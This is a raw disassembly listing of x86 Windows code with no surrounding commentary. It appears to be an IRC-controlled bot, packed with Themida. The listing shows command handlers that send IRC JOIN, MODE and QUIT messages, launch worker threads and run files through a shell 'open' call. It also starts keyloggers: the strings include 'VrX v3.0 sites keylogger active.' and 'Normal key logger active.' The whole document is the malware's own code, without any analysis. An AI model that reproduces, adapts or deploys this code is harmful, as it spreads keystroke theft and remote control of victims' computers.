		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 26A0000h
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C


loc_408B68:				; DATA XREF: Themida_:00571284o
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 26A0273h
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26A0000h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		call	near ptr 26B0817h
		nop
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
